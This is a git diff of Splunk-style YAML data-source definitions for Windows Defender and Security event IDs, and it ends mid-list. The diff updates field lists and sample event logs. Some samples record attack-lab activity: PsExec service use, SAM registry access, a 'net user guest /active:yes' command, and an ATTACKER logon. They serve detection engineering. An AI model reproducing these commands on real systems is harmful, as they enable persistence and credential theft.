- ActivityID - - CategoryString + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest - Detection_Time + - Detection_time + - dvc + - dvc_nt_host - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host - ID - - Image_File_Name + - id + - index + - Inheritance_Flags - Inhertiance_Flags - Involved_File - Keywords - Level + - linecount + - LogName - Message + - meta - Name + - New_Value + - New_value + - Old_Value + - Old_value + - OpCode - Opcode - Parent_Commandline - Path - - ProcessID - Process_Name + - ProcessID - Product_Name - Product_Version + - product_version + - punct - RecordNumber - - RenderingInfo_Xml - RuleType - Security_intelligence_Version - - SourceName - - SubStatus - - SystemTime - - System_Props_Xml - - Target_Commandline - - Task - - TaskCategory - - ThreadID - - Unused - - User - - UserID - - Version - - action - - category - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - parent_process - - process_name - - punct - - result - - service - - service_id - - service_name - severity - severity_id + - Sid + - SidType - signature - signature_id - source - sourcetype - splunk_server - - splunk_server_group - - subject + - System_Props_Xml + - SystemTime - tag - - tag::action - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp - - user_group_id + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product - - _bkt - - _cd - - _eventtype_color - - _indextime - - _pre_msg - - _raw - - _serial - - _si - - _sourcetype - - _time -example_log: '' + - Version +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_defender_5007.yml b/data_sources/windows_event_log_defender_5007.yml index 034cb376ca..46a0ec7828 100644 --- a/data_sources/windows_event_log_defender_5007.yml +++ b/data_sources/windows_event_log_defender_5007.yml @@ -1,8 +1,8 @@ name: Windows Event Log Defender 5007 id: 27f18792-8d95-4871-8853-874b7faf023f -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when Windows Defender antimalware settings are modified. mitre_components: @@ -17,45 +17,93 @@ supported_TA: version: 11.0.3 fields: - _time + - ActivityID + - category - Channel - Computer + - ComputerName + - date + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - Detection_Time + - Detection_time + - dvc + - dvc_nt_host + - Engine_Version + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - EventType + - eventtype + - file_name + - file_path - Guid + - host + - ID + - id + - index + - Inheritance_Flags + - Inhertiance_Flags + - Involved_File - Keywords - Level + - linecount + - LogName + - Message + - meta - Name - New_Value + - New_value - Old_Value + - Old_value + - OpCode - Opcode + - Parent_Commandline + - Path + - Process_Name - ProcessID - Product_Name - Product_Version - - RecordNumber - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserID - - Version - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount + - product_version - punct + - RecordNumber + - RuleType + - Security_intelligence_Version + - severity + - severity_id + - Sid + - SidType + - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Target_Commandline + - Task + - TaskCategory + - ThreadID + - timeendpos - timestamp + - timestartpos + - Type + - User + - user - user_id + - UserID - vendor_product -example_log: 500704000x80000000000000003726Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009HKLM\SOFTWARE\Microsoft\Windows Defender\Features\Controls\48 = 0x1 + - Version +example_log: | + 112204000x80000000000000003051Microsoft-Windows-Windows Defender/OperationalresearchvmhaaMicrosoft Defender Antivirus4.18.23100.2009D1E49AAC-8F56-4280-B9BA-993A6D77406C2023-11-20T20:24:37.533ZNT AUTHORITY\SYSTEMC:\Windows\cmd.exeC:\Windows\PSEXESVC.exe1.401.912.01.1.23100.2009ENT\ConsR"cmd" C:\Windows\PSEXESVC.exe0x00000000 diff --git a/data_sources/windows_event_log_security_1100.yml b/data_sources/windows_event_log_security_1100.yml index 5d3ccb17ab..c5ff4aa20a 100644 --- a/data_sources/windows_event_log_security_1100.yml +++ b/data_sources/windows_event_log_security_1100.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 1100 id: 2a25dafa-691e-4cb2-ae59-07a48867ed9a -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when the event logging service has shut down. mitre_components: @@ -18,52 +18,41 @@ supported_TA: version: 11.0.3 fields: - _time - - Channel - - Computer - - Error_Code - - EventCode - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - RecordNumber - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserData_Xml - - Version - action - app - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Channel + - Computer - dest - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name - name - object_attrs - object_category + - Opcode + - ProcessID - product - punct + - RecordNumber - service - service_name + - severity + - severity_id - signature - signature_id - source @@ -71,13 +60,19 @@ fields: - splunk_server - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - UserData_Xml - vendor - vendor_product + - Version output_fields: - action - app @@ -94,4 +89,5 @@ output_fields: - status - subject - vendor_product -example_log: 11000410300x4020000000000000140874Securityar-win-2 +example_log: | + 11000410300x4020000000000000135136SecurityEC2AMAZ-M3380E5 diff --git a/data_sources/windows_event_log_security_1102.yml b/data_sources/windows_event_log_security_1102.yml index 21041873b4..31662574b6 100644 --- a/data_sources/windows_event_log_security_1102.yml +++ b/data_sources/windows_event_log_security_1102.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 1102 id: 8db7b91a-6d7a-40e7-bfac-06f8e901a9cb -version: 5 +version: 6 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when the audit log is cleared. mitre_components: @@ -19,56 +19,43 @@ supported_TA: version: 11.0.3 fields: - _time - - Caller_User_Name - - Channel - - Computer - - Error_Code - - EventCode - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - LogFileCleared_Xml - - Name - - Opcode - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserData_Xml - - Version - action - app + - Caller_User_Name - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Channel + - Computer - dest - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - LogFileCleared_Xml + - Name - name + - object - object_attrs - object_category + - Opcode + - ProcessID - product - punct + - RecordNumber + - result + - severity + - severity_id - signature - signature_id - source @@ -77,13 +64,25 @@ fields: - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - user + - user_name + - UserData_Xml - vendor - vendor_product + - Version output_fields: - action - change_type @@ -94,4 +93,5 @@ output_fields: - status - user - vendor_product -example_log: 11020410400x40200000000000001826166Securityar-win-dc.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0x34a3a27 +example_log: | + 11020410400x40200000000000001430687Securityar-win-dc.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0x40cbb8f diff --git a/data_sources/windows_event_log_security_4624.yml b/data_sources/windows_event_log_security_4624.yml index d5dbfd0c90..00f60c8d29 100644 --- a/data_sources/windows_event_log_security_4624.yml +++ b/data_sources/windows_event_log_security_4624.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4624 id: 08682968-0366-4882-9559-fe4fe018a846 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an account successfully logs on to a system. mitre_components: @@ -19,46 +19,85 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app + - authentication_method + - authentication_service - AuthenticationPackageName - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - ElevatedToken - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id - ImpersonationLevel + - index - IpAddress - IpPort - KeyLength - Keywords - Level + - linecount - LmPackageName + - Logon_ID + - Logon_Type - LogonGuid - LogonProcessName - LogonType - - Logon_ID - - Logon_Type - Name + - name - Opcode + - process + - process_id - ProcessID - ProcessId - ProcessName + - product + - punct - RecordNumber - RestrictedAdminMode + - session_id + - severity + - severity_id + - signature + - signature_id + - source - Source_Port - Source_Workstation + - sourcetype + - splunk_server + - src + - src_port + - status + - subject - SubjectDomainName - SubjectLogonId - SubjectUserName - SubjectUserSid - - SystemTime - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::action + - tag::app + - tag::eventtype + - Target_Domain + - Target_User_Name - TargetDomainName - TargetLinkedLogonId - TargetLogonId @@ -66,62 +105,18 @@ fields: - TargetOutboundUserName - TargetUserName - TargetUserSid - - Target_Domain - - Target_User_Name - Task + - TaskCategory - ThreadID + - timestamp - TransmittedServices - - Version - - VirtualAccount - - WorkstationName - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - process - - process_id - - process_name - - process_path - - product - - punct - - session_id - - signature - - signature_id - - source - - sourcetype - - splunk_server - - src_ip - - src_port - - status - - subject - - ta_windows_action - - tag - - tag::action - - tag::app - - tag::eventtype - - timeendpos - - timestartpos - user - user_group - vendor - vendor_product + - Version + - VirtualAccount + - WorkstationName output_fields: - action - app @@ -131,4 +126,5 @@ output_fields: - signature_id - src - user -example_log: 4624201254400x8020000000000000371886Securityar-win-7.attackrange.localNULL SID--0x0ATTACKRANGE\ELMER_SALASELMER_SALASATTACKRANGE.LOCAL0x693ef43KerberosKerberos-{139F7D70-0163-38CC-676D-00AE04A0F19C}--00x0-10.0.1.1649980%%1833---%%18430x0%%1843 +example_log: | + 4624201254400x8020000000000000765493Securityar-win-2.attackrange.localNULL SID--0x0NT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE.LOCAL0x3fad7663KerberosKerberos-{3E041EE3-7BA6-064E-8CC7-68857CBC913F}--00x0-127.0.0.10%%1833---%%18430x0%%1842 diff --git a/data_sources/windows_event_log_security_4625.yml b/data_sources/windows_event_log_security_4625.yml index 6de42e817e..c553082e66 100644 --- a/data_sources/windows_event_log_security_4625.yml +++ b/data_sources/windows_event_log_security_4625.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4625 id: 365a02c2-7d18-4baf-b76e-d90c20bbe6ed -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an account fails to log on to a system. mitre_components: @@ -18,105 +18,104 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app + - authentication_method + - authentication_service - AuthenticationPackageName - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - FailureReason - Guid + - host + - id + - index - IpAddress - IpPort - KeyLength - Keywords - Level + - linecount - LmPackageName - - LogonProcessName - - LogonType - Logon_ID - Logon_Type + - LogonProcessName + - LogonType - Name + - name - Opcode + - process + - process_id - ProcessID - ProcessId - ProcessName - - RecordNumber - - Source_Port - - Source_Workstation - - Status - - SubStatus - - Sub_Status - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetUserName - - TargetUserSid - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - TransmittedServices - - Version - - WorkstationName - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - process - - process_id - - process_name - - process_path - product - punct + - reason + - reason_id + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server + - src - src_ip + - src_nt_host - src_port + - Status - status + - Sub_Status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - SubStatus + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_status - tag - tag::action - tag::app - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetUserName + - TargetUserSid + - Task + - TaskCategory + - ThreadID + - timestamp + - TransmittedServices - user - user_group - vendor - vendor_product + - Version + - WorkstationName output_fields: - action - app @@ -126,4 +125,5 @@ output_fields: - signature_id - src - user -example_log: 4625001254400x8010000000000000367348Securityar-win-8.attackrange.localNULL SID--0x0NULL SIDAdministratorbuiltin0xc000006d%%23130xc000006a3NtLmSsp NTLM---00x0-10.0.1.3059450 +example_log: | + 4625001254400x801000000000000012864SecurityVICTIM-PCNULL SID--0x0NULL SIDAdministratorATTACKER0xc000006d%%23130xc000006a3NtLmSsp NTLMATTACKER--00x0--- diff --git a/data_sources/windows_event_log_security_4648.yml b/data_sources/windows_event_log_security_4648.yml index 1ac6a07c6e..5a144426b7 100644 --- a/data_sources/windows_event_log_security_4648.yml +++ b/data_sources/windows_event_log_security_4648.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4648 id: 6a367f8b-1ee0-463d-94a7-029757c6cd02 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logged when an account logon is attempted by a process by explicitly specifying the credentials of that account mitre_components: @@ -18,76 +18,54 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dest_nt_host + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level - - LogonGuid + - linecount - Logon_ID + - LogonGuid - Name + - name - Opcode + - process_id - ProcessID - ProcessId - - RecordNumber - - Source_Port - - Source_Workstation - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetInfo - - TargetLogonGuid - - TargetServerName - - TargetUserName - - Target_Domain - - Target_Server_Name - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dest_nt_host - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - process_id - product - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src @@ -95,22 +73,41 @@ fields: - src_nt_domain - src_nt_host - src_port + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::app - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_Server_Name + - Target_User_Name + - TargetDomainName + - TargetInfo + - TargetLogonGuid + - TargetServerName + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - vendor - vendor_product + - Version output_fields: - dest - src_ip - user -example_log: 4648001254400x8020000000000000336567Securitywin-host-mvelazco-02713-447.attackrange.localATTACKRANGE\REED_LARSENreed_larsenATTACKRANGE0x1360f2{00000000-0000-0000-0000-000000000000}STEVE_BRADFORDattackrange.local{00000000-0000-0000-0000-000000000000}win-dc-mvelazco-02713-392.attackrange.localwin-dc-mvelazco-02713-392.attackrange.local0x410.0.1.14445 +example_log: | + 4648001254400x8020000000000000336567Securitywin-host-mvelazco-02713-447.attackrange.localATTACKRANGE\REED_LARSENreed_larsenATTACKRANGE0x1360f2{00000000-0000-0000-0000-000000000000}STEVE_BRADFORDattackrange.local{00000000-0000-0000-0000-000000000000}win-dc-mvelazco-02713-392.attackrange.localwin-dc-mvelazco-02713-392.attackrange.local0x410.0.1.14445 diff --git a/data_sources/windows_event_log_security_4662.yml b/data_sources/windows_event_log_security_4662.yml index a6aad97997..73a351b7ee 100644 --- a/data_sources/windows_event_log_security_4662.yml +++ b/data_sources/windows_event_log_security_4662.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4662 id: f3c2cd64-0b5f-4013-8201-35dc03828ec6 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user accessed an object within the Active Directory, such as creating, modifying, or deleting it mitre_components: @@ -20,65 +20,53 @@ fields: - _time - AccessList - AccessMask + - action - ActivityID - AdditionalInfo + - AdditionalInfo2 + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid - HandleId + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name + - object_file_name + - object_file_path - ObjectName - ObjectServer - ObjectType - Opcode - OperationType - ProcessID - - Properties - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - object_file_name - - object_file_path - product + - Properties - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source @@ -88,14 +76,33 @@ fields: - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest -example_log: 4662001408000x801000000000000021623198276Securityattack_range_dcattack_range\attackerattackerattack_range0x632426dc0DSgroupCN=Incoming Forest Trust Builders,CN=Users,DC=Attack_RangeObject Access0x0%%7688 +example_log: | + 4662001408000x802000000000000015110554Securityar-win-dc.attackrange.localS-1-5-21-390003789-444691441-1275789787-1008AR-WIN-DC$ATTACKRANGE0x335045DS%{bf967a86-0de6-11d0-a285-00aa003049e2}%{94d92973-5ce1-4126-87d3-e2efaa3ceaec}Object Access0x0%%7684 + 0x10%%7684 + {59ba2f42-79a2-11d0-9020-00c04fc2d3cf} + {bf967a00-0de6-11d0-a285-00aa003049e2} + {e48d0154-bcf8-11d1-8702-00c04fb96050} + {26d97369-6070-11d1-a9c6-0000f80367c1} + {4c164200-20c0-11d0-a768-00aa006e0529} + {bf967a68-0de6-11d0-a285-00aa003049e2} + {bf967a86-0de6-11d0-a285-00aa003049e2} + - diff --git a/data_sources/windows_event_log_security_4663.yml b/data_sources/windows_event_log_security_4663.yml index 52f47aacca..39a6c03650 100644 --- a/data_sources/windows_event_log_security_4663.yml +++ b/data_sources/windows_event_log_security_4663.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4663 id: 5d6dca8c-dad9-494f-a321-ef2b0b92fbf4 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user or process tried to access a file, directory, registry key, or other system object on the computer mitre_components: @@ -20,87 +20,84 @@ fields: - _time - AccessList - AccessMask + - action + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid - HandleId + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name + - object_file_name + - object_file_path - ObjectName - ObjectServer - ObjectType - Opcode - - ProcessID - - ProcessId - - ProcessName - - RecordNumber - - ResourceAttributes - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - file_name - - file_path - - host - - id - - index - - linecount - - name - - object_file_name - - object_file_path - process - process_id - process_name - process_path + - ProcessID + - ProcessId + - ProcessName - product - punct + - RecordNumber + - ResourceAttributes - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest -example_log: 4663101280000x802000000000000010525869Securityar-win-2.attackrange.localAR-WIN-2\AdministratorAdministratorAR-WIN-20x6cfe7SecurityFileC:\Program Files (x86)\ScreenConnect\App_Extensions\evilapp - Copy (2).aspx0x2220%%4424 +example_log: | + 4663101280100x8020000000000000650431Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e7SecurityKey\REGISTRY\Windows\System32\config\SAM\test0x33c%%4436 + 0x100x2c4C:\Windows\System32\svchost.exe- diff --git a/data_sources/windows_event_log_security_4672.yml b/data_sources/windows_event_log_security_4672.yml index f80791c7df..2efac34bbd 100644 --- a/data_sources/windows_event_log_security_4672.yml +++ b/data_sources/windows_event_log_security_4672.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4672 id: 43f189b6-369d-4a32-a34c-57e0d38d92f1 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user with administrative privileges logs on to a system. mitre_components: @@ -18,74 +18,86 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID + - meta - Name + - name - Opcode - PrivilegeList - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server + - src - src_nt_domain + - src_subject_user_id - src_user + - src_user_id - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - user + - user_id - vendor - vendor_product + - Version output_fields: - dest -example_log: 4672001254800x8020000000000000148946Securityar-win-6.attackrange.localATTACKRANGE\REED_MORSEREED_MORSEATTACKRANGE0x509b11SeSecurityPrivilege +example_log: | + 4672001254800x8020000000000000211384Securityar-win-dc.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-DC$ATTACKRANGE0x5d96beSeSecurityPrivilege + SeBackupPrivilege + SeRestorePrivilege + SeTakeOwnershipPrivilege + SeDebugPrivilege + SeSystemEnvironmentPrivilege + SeLoadDriverPrivilege + SeImpersonatePrivilege + SeDelegateSessionUserImpersonatePrivilege + SeEnableDelegationPrivilege diff --git a/data_sources/windows_event_log_security_4688.yml b/data_sources/windows_event_log_security_4688.yml index 80f51515f9..bf9957c63d 100644 --- a/data_sources/windows_event_log_security_4688.yml +++ b/data_sources/windows_event_log_security_4688.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4688 id: d195eb26-a81c-45ed-aeb3-25792e8a985a -version: 5 +version: 6 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new process mitre_components: @@ -18,82 +18,99 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - app - Caller_Domain - Caller_User_Name - Channel - CommandLine - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode + - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - MandatoryLabel - Name - - NewProcessId - - NewProcessName - - Opcode - - ParentProcessName - - ProcessID - - Process_Command_Line - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - TargetDomainName - - TargetLogonId - - TargetUserName - - TargetUserSid - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - TokenElevationType - - Token_Elevation_Type - - Token_Elevation_Type_id - - Version - - action - - app - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - id - name - new_process - new_process_id - new_process_name + - NewProcessId + - NewProcessName + - Opcode - parent_process - parent_process_id - parent_process_name - parent_process_path + - ParentProcessName - process + - Process_Command_Line - process_command_line_arguments - process_command_line_process - process_exec - process_id - process_name - process_path + - ProcessID + - ProcessId - product + - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id + - source + - sourcetype + - splunk_server - src_nt_domain - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag + - tag::eventtype + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetLogonId + - TargetUserName + - TargetUserSid + - Task + - TaskCategory + - ThreadID + - timestamp + - Token_Elevation_Type + - Token_Elevation_Type_id + - TokenElevationType - user - user_group - vendor - vendor_product + - Version output_fields: - action - dest @@ -149,4 +166,5 @@ convert_to_log_source: ProcessId: ParentProcessId ParentProcessName: ParentImage Computer: Computer -example_log: 4688201331200x8020000000000000432820Securityar-win-1NT AUTHORITY\SYSTEMAR-WIN-1$WORKGROUP0x3e70xf84C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360xb2c"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level +example_log: | + 4688 2 0 13312 0 0x8020000000000000 386101 Security SLABS-DC.snapattack.labs S-1-5-21-552886593-836758079-2829650512-1009 user SNAPATTACK 0x44214 0x858 C:\Windows\System32\net1.exe %%1937 0x1b88 C:\Windows\system32\net1 user guest /active:yes S-1-0-0 - - 0x0 C:\Windows\System32\net.exe S-1-16-12288 diff --git a/data_sources/windows_event_log_security_4698.yml b/data_sources/windows_event_log_security_4698.yml index 65e778bf22..adf5765411 100644 --- a/data_sources/windows_event_log_security_4698.yml +++ b/data_sources/windows_event_log_security_4698.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4698 id: 32c06703-02d3-47ec-8856-b0dc3045866c -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a new scheduled task is created mitre_components: @@ -18,57 +18,50 @@ supported_TA: version: 11.0.3 fields: - _time - - Account_Domain - - Account_Name - - ComputerName - - Error_Code - - EventCode - - EventType - - Keywords - - LogName - - Logon_ID - - Message - - OpCode - - RecordNumber - - Security_ID - - SourceName - - Subject_Account_Domain - - Subject_Account_Name - - Subject_Logon_ID - - Subject_Security_ID - - TaskCategory - - Task_Content - - Task_Name - - Type - action + - ActivityID - app - - body - - category - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Caller_Domain + - Caller_User_Name + - change_type + - Channel + - ClientProcessId + - ClientProcessStartKey + - Computer - dest - dest_nt_domain - - dest_nt_host - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - FQDN + - Guid - host - id - index + - Keywords + - Level - linecount - - member_dn - - member_id - - member_nt_domain + - Logon_ID + - Name - name + - object + - object_attrs + - object_category + - Opcode + - ParentProcessId + - ProcessID - product - punct + - RecordNumber + - result + - RpcCallClientLocality - session_id - severity - severity_id @@ -78,17 +71,74 @@ fields: - sourcetype - splunk_server - src_nt_domain + - 